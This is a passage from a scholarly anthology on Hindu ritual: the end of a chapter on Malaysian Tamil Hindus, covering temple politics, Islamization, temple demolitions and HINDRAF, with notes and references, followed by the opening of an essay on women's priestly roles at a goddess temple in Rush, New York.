The milk-offering form of vow fulfillment promoted by reformers. Photograph by Patricia Seward.
The Hindu Community in an Independent Malaysia
With the independence of Malaya in 1957, the social and economic circumstances of the Chettiyars, Ceylonese Tamils, and Tamil labor force changed significantly. The caste-structured world of Tamil Hindus in Malaysia had been destroyed by the Japanese occupation of Malaya. The Chettiyars lost an estimated three-fourths of their wealth as a result of the Japanese occupation and the nationalization of their assets in Burma following the independence of that country in 1948 (Chakravarti 1971, 68; Mahadevan 1978). When Malaysia became independent, many sold their properties and returned to India or migrated to western countries. Of those who stayed in Malaysia, most gave up moneylending and became lawyers, engineers, doctors, and businessmen. The race riots that broke out in Malaysia on May 13, 1969, when Chinese-based opposition parties celebrated major gains in national elections, led more Chettiyars to leave Malaysia, further reducing the size and importance of the community and ending their claim to the status of dominant caste.
In contrast Ceylonese Tamils tended to accept Malaysia as their home after Malaya was granted independence, especially as violence escalated between Tamil rebels and the government in Sri Lanka. The disappearance of their sinecure in the civil service as well as the racial politics of Malaysia, however, made Ceylonese Tamils more aware of their place in a vulnerable minority community. Some became leading figures in Malaysian branches of the secular Dravida Kaḻakam, the movement of Tamil "self-respect," social reform, and cultural revival led by E. V. Ramasami Naicker (also known as EVR). After EVR visited Malaya in 1954, the Dravida Kaḻakam began to build ties with Tamil estate workers and to work for reforms in the workers' practices and lifestyle, promoting a form of Hinduism based on universal values and stressing egalitarian ideals (Lee and Ackerman 1997, 93, 108–11).
As the poorest and most marginal group in Malaysia, plantation laborers were the most affected by Japanese efforts to extract labor from the population. Between 1937 and 1947, the Indian community suffered an absolute decline in population. The occupation led to growing political awareness among plantation laborers. Some joined the Indian National Army for the liberation of India, founded in 1943 by the militant nationalist Subhas Chandra Bose (1897–1945?) with support from Japan. Others became guerrilla fighters against the Japanese (Arasaratnam 1964). During the rubber boom of the 1950s, those who had been active in resistance to the Japanese began to establish labor unions for plantation workers. On many estates plantation workers attempted to wrest control of plantation temples from the clerical and managerial staff (Jain 1970, 324–27; Wiebe and Mariappen 1978, 142–60). In the 1970s some Tamil laborers began to leave plantations in search of jobs in cities, but many others found themselves trapped on plantations in ghettos of poverty.
The Malaysian Indian Congress (MIC), a largely middle-class organization established in 1946 to support the nationalist movement in India, attempted to unite Malaysian Indians as a political force. But the failure of most Tamil plantation laborers to claim citizenship when Malaysia became independent in 1957 reduced the political clout of the MIC. The MIC joined with the dominant political party, the United Malay National Organization (UMNO), in the National Front Coalition (Barisan Nasional). As a member of the ruling coalition, the MIC was granted cabinet positions only as long as its leaders did not challenge Malay dominance. The MIC was not able to resist or modify the New Economic Policy and affirmative action programs favoring Malays introduced after the anti-Chinese race riots of 1969. Under affirmative action programs, the number of Indians accepted into lower ranks of the civil service declined in favor of Malays. The introduction of Malay as the language of instruction for all schools further disadvantaged Tamils and reduced opportunities for educated Tamil speakers to obtain higher education (Nagata 1984, 56). Although today Malaysian Indians constitute approximately 8 percent of the population, they make up 14 percent of its juvenile delinquents and 41 percent of its beggars. Malaysian Indians own less than 2 percent of the country's national wealth (C. S. Kuppuswamy 2003, 1). Working-class Tamils felt betrayed by the failure of the MIC to address their needs effectively.
Religion and Politics Intertwined
The tensions between working-class Tamils and MIC leaders have often been expressed through conflicts over control of temple committees. In the 1970s T. Subbiah, a lawyer and well-known member of the Chettiyar community, was the head of the Penang Branch of the MIC (Ramanathan 1995, 173–81). In 1973 he was appointed chairman of the Hindu Endowment Board (HEB), and he used this position to arrange for the renovation of the Penang Hill Murukaṉ Temple, thereby positioning himself as patron of the major temple associated with the Tai Pūcam festival. In 1982 Subbiah was elected to the Penang State Legislature as the MIC candidate. He then proposed to build a temple to his personal deity Ayyappaṉ on Penang Hill above the Murukaṉ Temple. This action was taken as an affront to the prestige of the Murukaṉ Temple by the Hindu Mahajana Sangam (HMS), the militant working-class organization that had led the temple entry movement earlier in the century, and the Malaysia Mukkolatar Association, an organization representing three low-caste groups. These organizations accused Subbiah of using religion to advance his political career and announced that they would organize the celebration of Cittrāpaurṇimai (Citraparvam) as an alternative to the Tai Pūcam festival. While this strategy was not successful as only about three hundred fifty worshipers participated in the celebration of Citraparvam, the protest against construction of the Ayyappaṉ Temple received support from two middle-class organizations, the United Hindu Religious Council and the Penang Branch of the Malaysian Hindu Sangam (MHS), a reform organization established in 1965. The MHS was led by N. Shanmugam from the opposition political party, the Democratic Action Party (DAP). He succeeded in obtaining an injunction against construction of the Ayyappaṉ Temple and defeated Subbiah in the election for the Penang Legislative Assembly in 1986 (Ramanathan 1995, 174–77).
The conflict over construction of an Ayyappaṉ Temple on Penang Hill led the Chief Minister of Penang to form an ad hoc committee to review the activities of the Hindu Endowment Board (HEB). The committee recommended various changes designed to depoliticize administration of the Queen Street Maha Mariamman Temple and the Penang Hill Murukaṉ Temple, including the exclusion of all persons actively involved in politics from the HEB. The proposed reforms were supported by DAP leader N. Shanmugam, but MIC president Samy Vellu objected. The conflict over control of the HEB and management of temples in Penang simmered on into the 1990s. When MIC politicians regained a dominant role on the HEB, leaders of the MHS and the opposition party DAP called for the dissolution of the HEB. This led the Penang state government to set up a new committee to recommend further changes in the HEB.
As the Islamic revival strengthened in the late 1980s, efforts were made to bridge the gap between the Hindu Endowment Board, which was dominated by middle-class Tamils with MIC connections, and the working-class Hindu Malaysian Sangam. In 1989 the two organizations joined together to raise money for a new chariot for the Queen Street Maha Mariamman Temple. When the chariot arrived from India, however, conflict broke out anew over who owned it (Ramanathan 1995, 183–86).
Islamization and Malaysian Hindus
In 1974 Anwar Ibrahim, leader of the Muslim student organization Angkatan Belia Islam Malaysia, organized a campaign attacking UMNO, the ruling party, for failing to deal with Malay poverty. The "Baling Demonstrations" led the government to adopt policies designed to co-opt and contain opposition framed in the language of Islam. The government established its own Islamic missionary organization, Yayasan Dakwah Islamiah, and in 1978 the National Fatwa Council was set up to coordinate state religious council activities and to issue rulings on religious matters.
Even before the Iranian Revolution in 1979, small groups of Islamic extremists were active in Malaysia. Between December 1977 and August 1978, twenty-eight Hindu temples along the main road from Malacca to Perak state were attacked (Das 1978; _Asia Week_ 1979; _New Straits Times_ 1978a). When leaders of the MIC appealed to the government for protection of Hindu temples, informants say they were told that Hindu leaders should take responsibility for protecting temples (Dr. Sankaran Ramanathan, personal communication). Consequently MIC leaders working with temple management committees arranged for the formation and training of "security forces" for temples. On the morning of August 19, 1978, the security force of the Kerling Subramaniar Temple confronted a group of attackers. Before the police arrived, four Muslim extremists were beaten to death ( _Asia Week_ 1978). The temple guards were arrested and charged with murder.
The government attempted to suppress news of this inflammatory incident and launched a campaign promoting religious tolerance, but stories of the "Kerling Incident" spread. The Hindu community rallied in defense of the temple guards. In January 1980 six guards were sentenced to jail terms ranging from two and a half to four years. In explanation of the sentences, the judge said:
If I impose a sentence that is too deterrent against these eight people, it can be viewed as an encouragement to would-be temple desecrators. It would make the guards [of] places of worship so timid that they would not be able to perform their guard duties. If I impose too light a sentence... it can be viewed as an encouragement to people who would like or feel inclined to take the law into their hands... . I would admit freely that on the night of August 18, 1978... the accused persons were good citizens who were caught in a situation not of their own choosing. That they acted as they did was because of the background of temple desecrations perpetrated by unknown persons before August 19, 1978. (Das 1980)
Many influential Hindu leaders felt betrayed by this verdict, which crystallized a sense that the Hindu community in Malaysia was under attack. Four more Hindu temples were desecrated before an attack on a police post in Batu Pahat, Johore, on October 16, 1980, ended with the capture of the extremists. By that time many middle-class Hindus, who had formerly been more secular in their orientation, were committed to the reform of Hinduism and to raising the prestige of Hinduism in Malaysia.
To counter the growing appeal of the opposition Islamist Parti Islam Semalaysia (PAS) after the Iranian Revolution of 1979, the government adopted "Islamic" policies. In 1983 an Islamic Bank and the International Islamic University were established and the study of Islamic civilization at universities mandated. In 1980 the Tamil-language daily _Tamil Malar_ had its license to publish withdrawn for slandering Islam. In 1981 and 1983, amendments to the Societies Act of 1967 threatened unregistered (Hindu and Chinese) temples with relocation, demolition, or the confiscation of assets.8 These actions exacerbated fears in the Hindu community. Prime Minister Mahathir sought to quiet these fears, announcing that the implementation of Islamic values in government "would not... threaten other cultures" or "impose regulations on non-Muslims" ( _New Straits Times_ 1983). Nevertheless Chinese and Indian community leaders formed the Malaysian Consultative Council for Buddhism, Christianity, Hinduism, and Sikhism to resist policies that threatened minority religions.
Reform and Resistance
The Malaysian economy grew rapidly beginning in the late 1980s and through the 1990s, and middle-class Malaysian Indians began to visit famous temples in India, where they absorbed ideas about the proper Āgamic ritual forms. They began to introduce reforms in the temples they controlled in Malaysia, accepting the Brahman-based Sri Śaṇkarācārya Maṭha in India as the authority on Āgamic Hinduism. The influence of the reform movement is apparent in temples across Malaysia. Almost all Māriyammaṉ temples in urban areas have undergone renovation and have been reconsecrated to reflect Āgamic practices. Concrete images of the goddess have been replaced by granite ones said to be more suitable. Formerly non-Brahman priests served in most temples. The reformers successfully lobbied the Malaysian government for permission to bring Brahman priests trained in India to serve in their temples on a contract basis.9 These priests are paid a salary, but they also earn income by performing special rituals ( _ā rccaṉai_) for individuals, which have become a popular sign of high status. There are now shops that sell ritual items imported from India. Commercial production of jasmine and other flowers for making garlands for worship has begun.10 Many new temples have images from both Śaivite and Vaiṣṇava traditions, a reflection of efforts to unite Malaysian Hindus and promote the idea of a universal Hinduism.
Leaders of the reform movement include Sri Muthu Kumara Gurukal, who gives popular talks on the Vedas and is described in newspapers as the "Hindu high priest," and Dr. S. Jayabarathi, a self-taught expert on Tamil history and culture and author of scholarly and popular writings on Tamil Hindu traditions, who was formerly director of a hospital in Sungai Petani. An all-Tamil government radio station, RTMB Radio 6, has been established. Radio broadcasts and the pay-per-view satellite television network Astro Vanavil (in Tamil) provide new venues for spreading the reformers' message. Every day Hindu devotional songs are played in the morning, and there are talks on Hinduism addressed to younger Malaysian Hindus by the businessman S. Parameswaran.
Central organizations of the reform movement include the Ramakrishna Mission, the Divine Life Society, and the International Sri Satya Sai Baba Organization, which all produce literature and have booths with their publications at the Tai Pūcam festivals. Significantly the most important venue of reform appears to be the English-language magazine _Hinduism Today_ (published in Hawaii), which is sold outside of major temples controlled by reformers. _Hinduism Today_ features articles about leading Hindu figures known in the West, such as Sri Ramakrishna (1836–86), a major figure of the Bengali Renaissance and Hindu Revival of the late nineteenth century; Vivekananda (1863–1902), known for introducing Vedanta and yoga to the West and founder of the Ramakrishna Mission; Swami Śivananda Saraswati (1887–1963), author of works on Vedanta and yoga directed to a Western audience and founder of the Divine Life Society in 1936 (who lived for a time in Malaysia as a young man); Satya Sai Baba (b. 1926), head of the International Sri Satya Sai Baba Organization with branches throughout the world; and Haridas Giri, a follower of Gnanananda Giri (d. 1974), an almost legendary figure in Tamilnadu associated with a tradition of musical worship. In 1997 Haridas Giri with Namananda Giri founded the Sri Gnanananda Nama Sankirtana Mandali Malaysia.
The aim of these and other reformers is to teach an ecumenical and egalitarian form of Hinduism that would unite Malaysian Hindus. In a 1989 interview in _Hinduism Today,_ then-president of the MIC Samy Vellu issued this plea:
We must talk with the government with one voice. Islam has one voice. And to this effect I have proposed for years the establishment of a Hindu religious council for Malaysia to strengthen ourselves vis-à-vis the government, but this has not been accepted. We still have too much conflict in our views. But I still feel this is the answer, one Hindu council to get us organized and all pulling in the same direction. We can do it, we have the means. I feel that the temples, our temples of which we have so many, should be the center for educational programs, for social programs, for so many other things that we could do. ( _Hinduism Today_ 1989b)11
But conflicts over ritual practices between middle- and working-class Tamils persist. In 1998 Sri Muthu Kumara Gurukal urged devotees to carry a simple milk offering ( _p āl kāvaṭi_), insisting, "There is no point really to carry big _k āvaṭi_ or to pulling chariots with hooks attached to the back; at the end of the day, it all just becomes a side show." He argued that religious texts rather than oral traditions are the basis of authentic Hinduism and protested that "unlike practicing Muslims and Christians who read and study the Quran and the Bible, most Hindus do not study their religious scriptures in detail. Everything is accepted at face value and what is practiced are hand-me-downs from generation to generation here in Malaysia. What right do these people have to actually claim and show off that God is in them? Not only does it give Hinduism a bad name but it is also a serious case of blasphemy" (handout distributed in Penang in 1998). To this appeal a self-taught priest helping devotees to prepare for vow fulfillment responded to a newspaper reporter, "I never knew that there were religious scriptures in Hinduism. People have been doing things this way for decades and nobody said anything. So, why are they banning this and that all of a sudden?" (Muthiah 1998).
In 2006 the management committee for the Queen Street Maha Mariamman Temple and the Penang Hill Murukaṉ Temple made another attempt to ban forms of vow fulfillment to which they objected. The chairman of the committee explained, "Last year, we had a few devotees who carried _parang_ s [machetes] as part of their _k āvaṭi_ vows. And we still have some devotees who pierce themselves with long skewers... . What has the _parang_ got to do with Lord Muruga [ _sic_ ]? I am not aware of Hindu scriptures, sages, or custom saying one must pierce oneself with very long skewers" ( _Star_ 2006a). But most working-class devotees of Murukaṉ resisted the reforms. They joined in groups to pull a chariot with an elaborate altar by means of ropes attached to hooks pierced through the skin on their backs. Others attached the small pots of milk that they brought in offering to their chests with hooks impaled in the skin. As reformers banned one or another form of vow fulfillment, working-class devotees invented new ones. In 2005 some took up face painting.
Working-class resistance to middle-class control of temples and the Tai Pūcam festival is most clearly seen in the burgeoning cult of Muṉiśwaraṉ. In many places shrines to Muṉiāṇṭi, a deity traditionally worshiped by Tamils of low-caste origin, have been upgraded or transformed into Muṉiśwaraṉ temples, where the formerly semidemonic temple guardian is identified as a form of Śiva. In Tampoi outside of Johor Baru, a newly expanded and renovated Sri Muṉiśwaraṉ Temple has become an important site for vow fulfillment on Tai Pūcam. Renovation of the temple was funded in part by a grant from the Johor state government arranged by a local MIC politician to counter criticism that the party had failed to represent the interests of working-class Indians (Dr. Sankaran Ramanathan, personal communication).
Globalization and the Spread of Religious Militancy
Shortly after the destruction of the Babri Mosque by Hindu extremists in India in December 1992, the Perak state government launched a new program of temple demolitions, igniting new fears among Malaysian Hindus (Ramanathan 1995, 42–62). The working-class MHS took the lead in demanding that the demolitions stop, but leaders in Hindu reform organizations argued for compromise. In their view there were "too many" temples, and they lamented that temples on estates and roadside shrines were not well maintained (Dr. Sankaran Ramanathan, personal communication). MIC president Samy Vellu sought to avoid a confrontation with the government while at the same time maintaining a position as spokesman for Malaysian Hindus. He asked that leaders of the Hindu community be allowed "to continue with the ongoing exercise of compiling information on the status of all temples in the state" so that they could advise the Perak government about which temples should be removed, relocated, or retained and "urged certain religious bodies not to make matters worse by making irresponsible statements lest the Hindus end up losers" ( _Star_ 1993). Ignoring the protests of the MHS, the Perak government sent out demolition notices to fifty temples. In the end Prime Minister Mahathir appears to have intervened and put an end to the demolitions (Ramanathan 1995, 255n100).
A devotee with piercing and small pots with milk offerings suspended from hooks in his chest. Photograph by Patricia Seward.
Throughout the 1990s there were sporadic outbreaks of violence between extremist groups of Muslims and Tamil Hindus, the most dramatic of which took place in 1998. As working-class Tamils in Penang mounted resistance to relocation of a shrine, seventeen shrines and temples of deities associated with lower-caste groups were attacked over a seven-day period.12 Videos showing attacks on mosques in Coimbatore, India, in 1997 and 1998 were used to incite this violence, and Tamil Muslims were said to have taken a prominent role in organizing the attacks (Ramanathan 1998). This deepened divisions in the Hindu community as working-class Tamils protested that MIC leaders did not take a strong enough stand in protecting their temples.
In 2001 the state of Selangor mounted another campaign to demolish Hindu temples, igniting another round of protests (Perumal 2001). The state of Perak also set about demolishing Hindu temples that were said to interfere with development projects. At the same time, low-level outbreaks of violence between working-class Hindus and Malays erupted. Five Malays in Kampar were killed by Indian cattle herders, who maintained that they had complained to the police for years about poaching but that no action had been taken, so they took the law into their own hands (Spaeth 2000). In another incident the same year, Indians attending a Hindu funeral clashed with Malays celebrating a Muslim wedding, leading to the death of five Indians and an Indonesian migrant and injuries to thirty more people (C. S. Kuppuswamy 2001, 1).
As the MIC appeared to be ineffective in representing the interests of working-class Hindus, a coalition of Hindu groups formed the Hindu Rights Action Force (HINDRAF), determined to mount a political protest against Barisan, the ruling coalition, and the MIC (Kuppusamy 2005; 2006). Taking the slogan "People Power" from nonviolent protest movements in the Philippines and Indonesia, they demanded the right of minorities to religious freedom. They organized protests against temple demolition and drew up a petition demanding restitution from the United Kingdom for bringing Indians to Malaya as indentured laborers. The Barisan government refused to grant HINDRAF a permit for a rally at the British High Commission in November 2007. Nevertheless thousands of protestors appeared for the rally, carrying signs demanding the right to express their opinion. They were attacked by police with tear gas and chemicals sprayed through fire hoses. HINDRAF leaders were arrested under the Internal Security Act on charges of sedition (B. Kuppusamy 2007). During the February 2008 Tai Pūcam festival, HINDRAF responded to the arrest of their leaders with a candlelight _k āvaṭi_ procession.
The brutality of the police response to the HINDRAF demonstration shocked many Malaysians, especially those from religious minorities, and undermined support for the UMNO-led Barisan coalition. In the general elections of March 2008, there were large defections from the MIC to the opposition DAP, and the Barisan lost its two-thirds majority in Parliament. In October 2008 the government banned HINDRAF (Balasubramaniam 2008).
After the election of a new prime minister, HINDRAF resurfaced and continued to protest against temple demolitions by state governments. In 2009 HINDRAF demanded that the government take action when a group of Muslims brought a severed cow's head to a protest against relocating a Hindu temple in their neighborhood. This incident was resolved by UMNO leaders, who arranged for an official apology to the Hindu community. In 2011 HINDRAF launched further protests against _Interlok,_ a novel by Abdullah Hussain included in the Malaysian school curriculum that it claimed promoted a negative stereotype of Malaysian Indians as pariah untouchables _._ On Tai Pūcam the temple committee refused to allow the HINDRAF protestors onto the temple grounds at the Batu Caves in Kuala Lumpur. While working-class Hindus tended to support HINDRAF, middle-class Hindus expressed embarrassment and concern that the protests antagonized Muslim leaders in Malaysia.
Conclusion: Religious Militancy and Ritual Politics
Over the past twenty-five years, the practice of Hinduism in Malaysia has been undergoing a transformation in response to political events in India and the Islamic resurgence in the Middle East and Malaysia. The rise of extremist Islamist groups in Malaysia in the late 1970s, the growing appeal of the Islamist political party PAS and the response of the UMNO-dominated government to these challenges have made the minority community of Malaysian Hindus fearful. The emergence of violent Hindu-Muslim conflict in India in the 1990s exacerbated these fears just as Hindu shrines in Malaysia became the target of state-organized demolitions and violent attacks by Islamists ( _New Straits Times_ 1978b). In this context middle-class Hindu professionals have strengthened their identification as Hindus and promoted reform of non-Āgamic ritual practices.
At the same time, the Tai Pūcam festival has grown in popularity as an assertion of Hindu pride and militancy. Vow fulfillment is recognized as a dramatic enactment of power. Each year Tai Pūcam attracts more worshipers. In 2008 newspaper reports estimated that 1.3 million people went to the Batu Caves in Kuala Lumpur, whereas the crowd addressed by MIC president Vellu in 1980 numbered only five hundred thousand. Large crowds were reported for Penang as well: in 2006 five hundred thousand worshipers went to the Penang Hill Murukaṉ Temple ( _New Sunday Times_ 2006; _Star_ 2006b; 2006c). There is also a new emphasis on Murukaṉ, not as Subrahmaṇia, who represents Brahmanic orthodoxy, nor as Taṇṭāyutapāṉi, the ascetic youth of the Palani Temple who rejects caste orthodoxy, but as the victorious warrior who has been given his lance for the coming battle with the demon Sūrapadmaṉ. Among working-class devotees this militancy is echoed in the celebration of Skanda Śasti commemorating Murukaṉ's victory over Sūrapadmaṉ (Ramanathan 1996, 51).
Hindu pride and militancy are also evident in the installation of the world's largest statue of Murukaṉ in front of the Batu Caves in 2006. Similarly in Penang the management committee of the Queen Street Maha Mariamman Temple and the Penang Hill Murukaṉ Temple is undertaking to rebuild the Murukaṉ Temple at a cost of RM 5 million (approximately US$1.6 million). The new temple, which will look out over Penang Harbor, is modeled on Tirupati in Andhra Pradesh and will be the largest Āgamic temple in Southeast Asia (Dewi 2003).13
At the same time, schisms in the community are reflected in the number of temples (not controlled by reformers) that have organized local Tai Pūcam celebrations: in Johor Baru one hundred thousand people fulfilled vows or worshiped at seven different temples; in Ipoh one thousand devotees fulfilled vows at the Gunung Cheroh Sri Subramaniar Temple; Tai Pūcam festivals also took place in Sungai Petani at the Subramaṇia Swamy Temple and in Batu Berendam, Malacca, at the Sri Subramaṇia Temple; and a new celebration was initiated at the Sri Taṇṭāyutapāṉi Temple in Seremban ( _New Straits Times_ 2006).
Hinduism is a religion with enormous diversity in the ritual practices of its adherents. Some differences in ritual are an expression of identity, the distinguishing traditions of a particular group. But differences in ritual practice can also be a form of politics, a contestation over the power relations between different castes and classes. In the minority community of Hindus in Malaysia, this ritual politics is particularly evident as leaders strive to present a united front in what they experience as a hostile environment.
Murukaṉ in front of the Batu Caves in Kuala Lumpur. Photograph by Patricia Seward.
**Notes**
1. The most common spelling used in Malaysia for names of deities, rituals, and festivals is placed in parenthesis after the transcription of the Tamil name.
2. The ancestral temple in Chettinad represents the final authority in all religious and social matters for the nine clans of Chettiyars (Mahadevan 1978).
3. While Murukaṉ is the most popular name for the son of Śiva in Malaysia, he is also known as Subrahmaṇia, Taṇṭāyutapāṉi, Skanda or Kārttikeya, and Kumāra.
4. The Malayan Śaiva Siddhānta Sangam is a religious educational organization that promotes a theology emphasizing ritual fused with intense devotion, which developed in Tamilnadu beginning in the seventh century. The Ramakrishna Mission, founded in 1897 by Swami Vivekananda (1863–1902), the disciple of Sri Ramakrishna, is an educational and welfare organization based on Vedanta, the theology of Shankara (788–820) as developed by Vivekananda. The Divine Life Society, founded in 1936 by Swami Sivananda Saraswati, is also based on Vedanta and the practice of yoga.
5. Arjun Appadurai (1981, 18–19) has provided a multidimensional definition of a South Indian temple that illustrates why it is a site for contestation over social status: "(a) as a place, or a _sacred space,_ the temple is an architectural entity that provides a royal abode for the deity enshrined in it, who is conceived as a paradigmatic sovereign; (b) as a _process,_ the temple has a redistributive role, which... consists of a continuous flow of transactions between the worshippers and deity, in which resources and services are given _to_ the deity and are returned _by_ the deity to the worshippers in the form of 'shares,' demarcated by certain kinds of honors; (c) as a _symbol_ or, more accurately, as a system of symbols, the temple... serves to dramatize and define certain key South Indian ideas concerning authority, exchange, and worship at the same time that it provides an arena in which social relations in the broader societal context can be tested, contested, and refined."
6. For example the Queen Street Maha Mariamman Temple in Penang was built by the following groups: police, barbers, Nadars, Madurai scrap metal dealers (known as "Bottle Chettiyars"), and dockworkers. These groups later organized themselves as the Hindu Mahajana Sangam.
7. Today twenty groups or associations each have three representatives on the Kuala Lumpur Maha Mariamman Temple management committee, constituting a committee of sixty representatives.
8. The Societies Act originally aimed at containing the influence and activities of the Malayan Communist Party. After the May 13, 1969, riots, the act was applied to other groups the state wished to monitor. The Societies Act required all temples to maintain a register of members, conduct periodic elections of officials, and submit an annual financial report to the Registrar of Societies. Application of the act to Hindu temples led in some places to renewed conflict over control of temples focusing on the right to vote in the temple management committee election. It also forced temple management committees to improve the administration of resources (Ramanathan 1996, 53–54).
9. Some Malaysian Tamil priests have gone to Veda Agama Pada Salai, a traditional Hindu religious school in Tamilnadu, to study the Vedas and Āgamic rituals. There have also been initiatives to set up training schools for priests in Malaysia ( _Hinduism Today,_ 1989a).
10. Information on changes in the Tai Pūcam festival and ritual practices in Hindu temples in Malaysia was collected during field research in 1974–1977, 1980, and 2006.
11. Ritual politics played a role in the rise of Vellu to power in the MIC. In 1973 he was a member of the Kuala Lumpur Maha Mariamman Temple Management Committee (Ramanathan 1995, 139).
12. Shrines and temples that were attacked include the Raja Raja Madurai Veeran Temple on Jalan Sungai, a Muṉiśwaraṉ temple in Tanjung Bunga, a Muṉiśwaraṉ temple in Tanjung Tokong, the Veerama Kaliamman Temple in Gelugor, and nine (mostly Muṉiśwaraṉ) shrines on the mainland across from Penang (Ramanathan 1998).
13. The present shrine can accommodate approximately three hundred people at one time; the new temple will accommodate four thousand people (personal communication from a member of the temple committee).
References
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Balasubramaniam, Jaishree. 2008. "Malaysia Bans HINDRAF; Indians Cry Foul." _Rediff India Abroad,_ October 16. www.rediff.com/news/2008/oct/16hindraf.htm.
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Clothey, Fred W. 1978. _The Many Faces of Muruka ṉ: The History and Meaning of a South Indian God._ The Hague: Mouton.
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Das, K. 1978. "Extremism rears its head: A series of temple desecrations has provoked fears of strife between fanatical religious groups." _Far Eastern Economic Review,_ September 1: 12.
———. 1980. "Issues of blood and religion: Sensitive questions are raised by the case of eight temple guards found guilty of killing desecrators." _Far Eastern Economic Review,_ January 25: 22.
Dewi, K. Kasturi. 2003. "RM 5m to Rebuild Temple." _New Straits Times,_ January 17.
Glick, Clarence. 1968. "The Changing Positions of Two Tamil Groups in Malaysia: 'Indian' Tamils and 'Ceylon' Tamils." Paper presented at the Second International Conference Seminar of Tamil Studies, Chennai, Tamilnadu. www.tamilnation.co/diaspora/malaysia/glick.htm.
_Hinduism Today._ 1989a. "'We'll Train Our Own Priests,' Says Malaysia's Largest Temple." February. www.hinduismtoday.com/modules/smartsection/item.php?itemid=593.
———. 1989b. "Malaysia's Samy Vellu." May. www.hinduismtoday.com/modules/smartsection/item.php?itemid=624.
Jain, Ravindra K. 1970. _South Indians on the Plantation Frontier._ New Haven: Yale University Press.
Kuppusamy, Baradan. 2005. "Ethnic Indians Demand Fair Share of Prosperity." _Inter Press Service Agency,_ October 17. www.ipsnews.net/2005/10/rights-malaysia-ethnic-indians-demand-fair-share-of-prosperity/.
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———. 2003. "Malaysian Indians: The Third Class Race." South Asia Analysis Group, Paper no. 618, February 28. www.southasiaanalysis.org/papers7/paper618.html.
Lee, Raymond L. M., and Susan E. Ackerman. 1997. _Sacred Tensions: Modernity and Religious Transformation in Malaysia._ Columbia: University of South Carolina Press.
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Mahadevan, Raman. 1978. "Pattern of Enterprise of Immigrant Entrepreneurs: A Study of Chettiyars in Malaya, 1880–1930." _Economic and Political Weekly,_ January 28–February 4, 146–52.
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Wittgenstein, Ludwig. 1979. _Remarks on Frazer's Golden Bough._ Edited by Rush Rhees. Doncaster: Brynmill.
## Women, Ritual, and the Ironies of Power at a North American Goddess Temple
CORINNE DEMPSEY
This essay focuses on ritual ironies that take place at the Śrī Rājarājeśwarī Pīṭham in the town of Rush in upstate New York. These ironies, in turn, invite contemplation about the complexities of gendered humanity and divinity and the relationship between the two within the ritual setting. Put most simply, it is ironic that, while ritual performances at Rush gleefully disregard traditional gender distinctions and exclusivity, the powerful _effects_ of ritual performance are understood to highlight gender distinction such that, in some cases, it curtails women's—and not men's—participation. The latter portion of this equation involving the potentially negative effects of ritual on women furthermore has to do with the quality of sacred powers ascribed to male—and not female—divinity.
Viewed from a slightly different angle, ironies at Rush emerge from the temple's dedication to increased ritual opportunities for women and, at the same time, to an adherence to strict ritual orthopraxy. While these two themes are typical of diaspora temples in the United States, the Rush temple amplifies and synchronizes them such that female devotees brazenly break into what is normally an elite male ritual domain by performing central, elaborate priestly roles.
The detail that renders many women vulnerable to some of the very powers to which they have specialized ritual access—and the crux of Rush ritual ironies—is menstruation. The following is an attempt to fill out, unpack, and, to the best of my ability, untangle this theme of ritual irony as interpreted by Rush temple theology. I follow the twists and turns of a ritual irony that essentially hinges on the problems of menstruation and aspects of male divine power amid a celebration of exceptional female privilege and authority.
Rush Temple Ritual in Context
First, to expand upon the ways that the Śrī Rājarājeśwarī Pīṭham ritually situates itself within the context of diaspora Hinduism in the United States, it would be fair to say that in a variety of ways, the Rush temple, established in its current location in 1998, is an oddity.1 Although founded and guru-led by a charismatic Sri Lankan gentleman whom devotees refer to as Aiya, the temple departs from typical guru ashrams that tend to downplay ritual practices (Coward 2000, 161–63; Coward and Goa 1987, 79). To the contrary the Śrīvidyā Tantric tradition upon which the Rush temple is based revels, by nature, in ritual performance. The aim of Śrīvidyā and the resulting reputation of the temple is the successful production of divine power, made possible through elaborate offerings of mantras, movement, and matter.
This flourishing of ritual performance, orchestrated by Aiya with contagious aplomb, is in many ways consistent with a diaspora trend noted by Fred Clothey in which rituals represent a conscious "return to orthopraxy," effectively linking participants to ancestral roots, conferring status upon the event, and enhancing "the power of ritual to achieve its intended aims" (Clothey 1992, 130; see also Vertovec 2000, 152). The Rush temple likewise gives considerable attention to detail, accuracy, and abundance in ritual performance as a means for garnering divine power and religious authenticity. Yet a crucial difference remains. At other ritually oriented diaspora temples, "Brahmanic priests, tutored in the performative traditions of their forefathers to preside over the ritual life of the temple," provide the center of gravity (Clothey 1992, 129). At the Śrī Rājarājeśwarī temple, male Brahman ritual specialists, trained in India or Sri Lanka and traditionally an important link to orthopraxy and its benefits, are—by deliberate design—nonexistent.
The Rush temple's most visibly dramatic deviation from other South Indian–style Hindu temples—in the North American diaspora and elsewhere—has to do not only with the absence of traditional Brahman priests, but also with the presence and range of women's participation within ritual contexts. This partly reflects a feature common to diaspora Hinduism in which women have inched their way onto new terrain because of necessity and changing cultural circumstances. In some cases, for example, women compensate for the lack of English skills of Brahman priests (Leonard 1997, 111–13); in others they insist that their religious roles expand while on new turf (Waghorne 1999, 123–24). As noted by Karen Leonard (1993), women as traditional bearers and preservers of culture can often be, somewhat inversely, in the forefront of cultural adaptation and change. Diaspora Hindu women's increased religious participation typically spans from serving on temple boards, carrying processional palanquins, and cooking temple food to conducting temple tours (see Waghorne 1999; Leonard 1993, 1997). Yet the Rush temple extends women's participation to the point of completely leveling traditional divides between roles for men and women. At Rush women of all backgrounds are encouraged—and on occasion gently coerced—to perform the priestly functions of ritual leadership during public _p ūjā_ worship and Vedic _homam_ ( _homa_ ) fire rituals.2 Aiya's conviction that it is as much a woman's right as a man's to lead temple rituals is such that he often strategically brings seasoned female practitioners into the limelight during major festivals as a means, in part, to broadcast his agenda.
The flexibility Aiya's diaspora position offers him is not something he takes for granted. He believes he could never get away with his unconventional agenda for women and non-Brahmans were his temple not in North America. Although he sometimes faces the ire of conservative members of the local South Asian community, Aiya dramatically claims that if the Rush temple were operating in South India or Sri Lanka, he likely would have been killed by now or, at least, have had a few choice bones broken.
